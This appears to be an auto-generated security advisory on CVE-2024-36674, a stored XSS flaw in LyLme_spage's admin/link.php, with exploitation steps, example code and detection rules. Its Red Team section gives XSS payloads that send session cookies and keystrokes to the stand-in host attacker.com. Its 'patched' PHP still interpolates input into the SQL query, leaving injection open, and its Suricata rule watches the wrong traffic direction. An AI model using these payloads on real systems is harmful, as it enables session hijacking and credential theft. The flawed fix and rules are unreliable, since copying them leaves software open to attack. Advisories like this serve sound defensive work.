CVE-2024-36674
Executive Summary
CVE-2024-36674 identifies a stored Cross-Site Scripting (XSS) vulnerability in LyLme_spage v1.9.5, specifically within the admin/link.php endpoint. This flaw allows an authenticated attacker with administrative privileges to inject arbitrary web scripts or HTML into the application, which are then stored and executed in the context of other users' browsers when they access the affected page. The vulnerability arises from insufficient sanitization of user-supplied input before it is stored and later rendered. Given that the vendor is LyLme_spage and the patch status is unknown, this represents a significant risk for any deployment of this software. The EPSS score of 0.0% indicates low exploitation activity in the wild, but the public availability of proof-of-concept details elevates the threat for targeted attacks.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not associated with a standard package manager (NPM, PyPI, Go, Ruby). It is a standalone PHP application. The risk is primarily to the application's internal data integrity and the security of users who interact with the admin panel.
CVSS Breakdown & Threat Level
The CVSS vector is not provided in the core data. However, based on the vulnerability characteristics, a reasonable assessment is:
- Attack Vector (AV): Network (N) - The admin panel is accessible over the network.
- Attack Complexity (AC): Low (L) - The attack requires no special conditions.
- Privileges Required (PR): High (H) - The attacker must have admin-level access to the application.
- User Interaction (UI): Required (R) - The victim must visit the affected admin page.
- Scope (S): Changed (C) - The injected script can impact resources beyond the vulnerable component.
- Confidentiality (C): Low (L) - Potential for data exfiltration.
- Integrity (I): Low (L) - Potential for content manipulation.
- Availability (A): None (N) - No direct impact on availability.
Estimated CVSS v3.1 Score: 4.8 (Medium)
Threat Level: Medium. The requirement for admin privileges reduces the attack surface, but the potential for stored XSS to affect other administrators or users makes it a credible threat for internal network compromise.
Deep Dive & Mechanics
The vulnerability resides in the admin/link.php file of LyLme_spage v1.9.5. This file is responsible for managing links within the application's admin interface. The core issue is that user-supplied input, likely from fields such as link name, URL, or description, is not properly sanitized or encoded before being stored in the database and later rendered in the admin panel.
Attack Flow:
- An authenticated admin user navigates to the link management page (
admin/link.php). - The attacker crafts a malicious payload, such as
<script>alert('XSS')</script>, and submits it via a form field (e.g., link name). - The application stores this payload in the database without proper sanitization.
- When another admin user (or the same user) views the link list, the stored payload is retrieved and rendered in the HTML without encoding.
- The victim's browser executes the injected script, leading to actions like session hijacking, defacement, or redirection.
The lack of output encoding or input validation on the server side is the root cause. The application likely uses echo or similar functions to display the stored data without applying htmlspecialchars() or equivalent escaping.
Vulnerable vs. Patched Code
Since no patch is available, the vulnerable code is assumed to be the current state of admin/link.php in v1.9.5. A patched version would implement proper input validation and output encoding.
Vulnerable Code (Conceptual):
// admin/link.php - Vulnerable
$link_name = $_POST['link_name'];
// Directly store without sanitization
$db->query("INSERT INTO links (name) VALUES ('$link_name')");
// Later, when displaying:
echo "<td>" . $row['name'] . "</td>";
Patched Code (Conceptual):
// admin/link.php - Patched
$link_name = htmlspecialchars($_POST['link_name'], ENT_QUOTES, 'UTF-8');
// Store sanitized value
$db->query("INSERT INTO links (name) VALUES ('$link_name')");
// When displaying, ensure output is encoded
echo "<td>" . htmlspecialchars($row['name'], ENT_QUOTES, 'UTF-8') . "</td>";
The patched version uses htmlspecialchars() to convert special characters to HTML entities, preventing script execution.
Exploitation & Lab Setup
Red Team
Prerequisites:
- Access to the LyLme_spage admin panel with valid credentials.
- Knowledge of the link management functionality.
Exploitation Steps:
- Log in to the admin panel.
- Navigate to
admin/link.php. - In the "Link Name" field, inject a payload such as:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Submit the form.
- When another admin views the link list, the script executes, sending their session cookie to the attacker's server.
Alternative Payloads:
- Session Hijacking:
<script>new Image().src='https://attacker.com/steal?c='+document.cookie</script> - Defacement:
<script>document.body.innerHTML='<h1>Hacked</h1>'</script> - Keylogger:
<script>document.onkeypress=function(e){new Image().src='https://attacker.com/k?k='+e.key}</script>
Blue Team
Detection & Prevention:
- Input Validation: Implement strict server-side validation for all input fields. Reject or sanitize any input containing HTML tags or JavaScript.
- Output Encoding: Use
htmlspecialchars()or a templating engine that auto-escapes output. - Content Security Policy (CSP): Deploy a strict CSP header to block inline scripts and restrict script sources.
- Web Application Firewall (WAF): Use a WAF to detect and block common XSS payloads.
- Regular Audits: Conduct code reviews and penetration testing to identify similar vulnerabilities.
Lab Setup:
- Download LyLme_spage v1.9.5 from the official source.
- Set up a local web server (e.g., XAMPP, LAMP) with PHP and MySQL.
- Install the application and create an admin account.
- Use a browser with developer tools to inspect network requests and manipulate form data.
- Test the vulnerability by injecting payloads and observing the stored XSS.
Indicators of Compromise (IOCs)
- Network:
- Outbound HTTP requests to unknown or suspicious domains from the server.
- Unusual
Refererheaders pointing toadmin/link.php.
- Host:
- Unexpected entries in the
linksdatabase table containing HTML or JavaScript. - Modified
admin/link.phpfile (if attacker uploads a backdoor).
- Unexpected entries in the
- Logs:
- Web server logs showing requests to
admin/link.phpwithPOSTdata containing<script>tags. - Application logs showing failed login attempts or unusual admin activity.
- Web server logs showing requests to
Detection Engineering
YARA Rule
rule CVE_2024_36674_XSS_Payload {
meta:
description = "Detects XSS payloads targeting LyLme_spage admin/link.php"
author = "Valters IT"
date = "2024-01-01"
reference = "CVE-2024-36674"
strings:
$xss1 = /<script[^>]*>.*<\/script>/i
$xss2 = /on\w+\s*=\s*['\"][^'\"]*['\"]/i
$xss3 = /javascript\s*:/i
condition:
any of them
}
Sigma Rule
title: CVE-2024-36674 XSS Attempt on LyLme_spage admin/link.php
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects potential XSS attempts against LyLme_spage admin/link.php
author: Valters IT
date: 2024-01-01
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/admin/link.php'
cs-uri-query|contains:
- '<script'
- 'onload='
- 'javascript:'
condition: selection
falsepositives:
- Legitimate use of HTML in link names (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-36674 XSS Payload in LyLme_spage admin/link.php"; flow:to_server,established; content:"POST"; http_method; content:"/admin/link.php"; http_uri; content:"<script"; http_client_body; nocase; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable Admin Access: Restrict access to the admin panel to trusted IPs only via firewall rules.
- Manual Code Fix: Apply the patched code logic to
admin/link.phpby addinghtmlspecialchars()to all output. - Database Cleanup: Scan the
linkstable for any existing XSS payloads and remove them.
Long-Term Solutions:
- Upgrade: Monitor the vendor for an official patch. If none is released, consider migrating to an alternative solution.
- Security Hardening: Implement a Web Application Firewall (WAF) and Content Security Policy (CSP).
- Regular Updates: Keep all software components up to date.
Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.